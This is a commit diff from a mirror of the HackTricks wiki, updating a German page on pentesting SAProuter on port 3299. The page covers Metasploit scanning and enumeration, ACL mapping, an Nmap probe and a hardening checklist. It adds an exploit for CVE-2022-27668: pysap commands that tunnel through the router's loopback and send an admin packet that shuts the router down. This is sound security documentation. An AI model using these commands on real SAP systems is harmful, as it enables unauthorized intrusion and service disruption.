mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/3299-pentesting-saprouter.m
This commit is contained in:
parent
75894fad4c
commit
270628092b
@ -1,3 +1,5 @@
|
||||
# # 3299/tcp - Pentesting SAProuter
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
```text
|
||||
PORT STATE SERVICE VERSION
|
||||
@ -7,11 +9,11 @@ Dies ist eine Zusammenfassung des Beitrags von [https://blog.rapid7.com/2014/01/
|
||||
|
||||
## Verständnis der SAProuter-Penetration mit Metasploit
|
||||
|
||||
SAProuter fungiert als Reverse-Proxy für SAP-Systeme, hauptsächlich um den Zugriff zwischen dem Internet und internen SAP-Netzwerken zu steuern. Es wird häufig dem Internet ausgesetzt, indem der TCP-Port 3299 durch die organisatorischen Firewalls zugelassen wird. Diese Konfiguration macht SAProuter zu einem attraktiven Ziel für Pentesting, da es als Gateway zu wertvollen internen Netzwerken dienen könnte.
|
||||
SAProuter fungiert als Reverse-Proxy für SAP-Systeme, hauptsächlich um den Zugriff zwischen dem Internet und internen SAP-Netzwerken zu steuern. Es wird häufig dem Internet ausgesetzt, indem der TCP-Port 3299 durch die organisatorischen Firewalls erlaubt wird. Diese Konfiguration macht SAProuter zu einem attraktiven Ziel für Pentesting, da es als Gateway zu wertvollen internen Netzwerken dienen könnte.
|
||||
|
||||
**Scannen und Informationssammlung**
|
||||
|
||||
Zunächst wird ein Scan durchgeführt, um festzustellen, ob ein SAP-Router auf einer bestimmten IP-Adresse läuft, indem das Modul **sap_service_discovery** verwendet wird. Dieser Schritt ist entscheidend, um die Präsenz eines SAP-Routers und seinen offenen Port festzustellen.
|
||||
Zunächst wird ein Scan durchgeführt, um festzustellen, ob ein SAP-Router auf einer bestimmten IP läuft, indem das Modul **sap_service_discovery** verwendet wird. Dieser Schritt ist entscheidend, um die Präsenz eines SAP-Routers und seinen offenen Port festzustellen.
|
||||
```text
|
||||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||||
@ -32,16 +34,16 @@ msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||
```
|
||||
Die Flexibilität dieses Moduls, spezifische SAP-Instanzen und Ports anzusprechen, macht es zu einem effektiven Werkzeug für eine detaillierte interne Netzwerkexploration.
|
||||
|
||||
**Erweiterte Aufzählung und ACL-Abbildung**
|
||||
**Erweiterte Enumeration und ACL-Abbildung**
|
||||
|
||||
Weiteres Scannen kann aufzeigen, wie Access Control Lists (ACLs) auf dem SAProuter konfiguriert sind, und detaillieren, welche Verbindungen erlaubt oder blockiert sind. Diese Informationen sind entscheidend für das Verständnis von Sicherheitsrichtlinien und potenziellen Schwachstellen.
|
||||
Weiteres Scannen kann aufzeigen, wie die Access Control Lists (ACLs) auf dem SAProuter konfiguriert sind, und detaillieren, welche Verbindungen erlaubt oder blockiert sind. Diese Informationen sind entscheidend für das Verständnis von Sicherheitsrichtlinien und potenziellen Schwachstellen.
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||||
```
|
||||
**Blind Enumeration interner Hosts**
|
||||
**Blind Enumeration von internen Hosts**
|
||||
|
||||
In Szenarien, in denen direkte Informationen vom SAProuter begrenzt sind, können Techniken wie die blinde Enumeration angewendet werden. Dieser Ansatz versucht, die Existenz interner Hostnamen zu erraten und zu überprüfen, wodurch potenzielle Ziele ohne direkte IP-Adressen offengelegt werden.
|
||||
In Szenarien, in denen direkte Informationen vom SAProuter begrenzt sind, können Techniken wie Blind Enumeration angewendet werden. Dieser Ansatz versucht, die Existenz interner Hostnamen zu erraten und zu überprüfen, wodurch potenzielle Ziele ohne direkte IP-Adressen offengelegt werden.
|
||||
|
||||
**Nutzung von Informationen für Penetrationstests**
|
||||
|
||||
@ -57,9 +59,70 @@ Dieser Ansatz unterstreicht die Bedeutung sicherer SAProuter-Konfigurationen und
|
||||
|
||||
Für detailliertere Informationen zu Metasploit-Modulen und deren Verwendung besuchen Sie [Rapid7's database](http://www.rapid7.com/db).
|
||||
|
||||
---
|
||||
|
||||
## Aktuelle Schwachstellen (2022-2025)
|
||||
|
||||
### CVE-2022-27668 – Unzureichende Zugriffskontrolle ➜ Remote Administrative Command Execution
|
||||
|
||||
Im Juni 2022 veröffentlichte SAP die Sicherheitsnotiz **3158375**, die einen kritischen Fehler (CVSS 9.8) im SAProuter (alle Kerne ≥ 7.22) behandelt. Ein nicht authentifizierter Angreifer kann permissive `saprouttab`-Einträge ausnutzen, um **Administrationspakete** (z. B. *shutdown*, *trace-level*, *connection-kill*) von einem Remote-Host zu **senden**, selbst wenn der Router ohne die `-X` Remote-Admin-Option gestartet wurde.
|
||||
|
||||
Das Problem ergibt sich aus der Möglichkeit, einen Tunnel zur eigenen Loopback-Schnittstelle des Routers aufzubauen, indem die nicht spezifizierte Adresse **0.0.0.0** angegriffen wird. Sobald der Tunnel eingerichtet ist, erhält der Angreifer lokale Hostrechte und kann jeden Admin-Befehl ausführen.
|
||||
|
||||
Die praktische Ausnutzung kann mit dem **pysap**-Framework reproduziert werden:
|
||||
```bash
|
||||
# 1. Build a loopback tunnel through the vulnerable SAProuter
|
||||
python router_portfw.py -d <ROUTER_IP> -p 3299 \
|
||||
-t 0.0.0.0 -r 3299 \
|
||||
-a 127.0.0.1 -l 3299 -v
|
||||
|
||||
# 2. Send an admin packet (here: stop the remote router)
|
||||
python router_admin.py -s -d 127.0.0.1 -p 3299
|
||||
```
|
||||
**Betroffene Versionen**
|
||||
|
||||
* Stand-alone SAProuter 7.22 / 7.53
|
||||
* Kernel 7.49, 7.77, 7.81, 7.85–7.88 (inkl. KRNL64NUC/UC)
|
||||
|
||||
**Behebung / Minderung**
|
||||
|
||||
1. Wenden Sie den mit SAP-Hinweis **3158375** gelieferten Patch an.
|
||||
2. Entfernen Sie Wildcard (`*`) Ziele aus den `P` und `S` Zeilen in `saprouttab`.
|
||||
3. Stellen Sie sicher, dass der Router **ohne** die `-X` Option gestartet wird und **nicht** direkt dem Internet ausgesetzt ist.
|
||||
|
||||
---
|
||||
|
||||
## Aktualisierte Werkzeuge & Tricks
|
||||
|
||||
* **pysap** – aktiv gepflegt und bietet `router_portfw.py`, `router_admin.py` & `router_trace.py` zum Erstellen benutzerdefinierter NI/Router-Pakete, Fuzzing von ACLs oder Automatisierung des CVE-2022-27668 Exploits.
|
||||
* **Nmap** – erweitern Sie die Dienstedetektion, indem Sie die benutzerdefinierte SAProuter-Abfrage hinzufügen:
|
||||
|
||||
```text
|
||||
Probe TCP SAProuter q|\x00\x00\x00\x00|
|
||||
ports 3299
|
||||
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/
|
||||
```
|
||||
|
||||
Kombinieren Sie dies mit NSE-Skripten oder `--script=banner`, um schnell Versionen zu identifizieren, die die Bannerzeichenfolge (`SAProuter <ver> on '<host>'`) ausgeben.
|
||||
* **Metasploit** – die oben gezeigten Hilfsmodule funktionieren weiterhin über einen SOCKS- oder NI-Proxy, der mit pysap erstellt wurde, und ermöglichen eine vollständige Framework-Integration, selbst wenn der Router den direkten Zugriff blockiert.
|
||||
|
||||
---
|
||||
|
||||
## Härtungs- & Erkennungs-Checkliste
|
||||
|
||||
* Filtern Sie den Port **3299/TCP** an der Perimeter-Firewall – erlauben Sie den Verkehr nur von vertrauenswürdigen SAP-Support-Netzwerken.
|
||||
* Halten Sie den SAProuter **vollständig gepatcht**; überprüfen Sie mit `saprouter -v` und vergleichen Sie mit dem neuesten Kernel-Patchlevel.
|
||||
* Verwenden Sie **strikte, host-spezifische** Einträge in `saprouttab`; vermeiden Sie `*` Wildcards und lehnen Sie `P`/`S` Regeln ab, die beliebige Hosts oder Ports anvisieren.
|
||||
* Starten Sie den Dienst mit **`-S <secudir>` + SNC**, um Verschlüsselung und gegenseitige Authentifizierung durchzusetzen.
|
||||
* Deaktivieren Sie die Remote-Verwaltung (`-X`) und binden Sie, wenn möglich, den Listener an `127.0.0.1`, während Sie einen externen Reverse-Proxy für den erforderlichen Verkehr verwenden.
|
||||
* Überwachen Sie das **dev_rout** Protokoll auf verdächtige `ROUTER_ADM` Pakete oder unerwartete `NI_ROUTE` Anfragen an `0.0.0.0`.
|
||||
|
||||
---
|
||||
|
||||
## **Referenzen**
|
||||
|
||||
- [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
- [https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/](https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/)
|
||||
|
||||
## Shodan
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user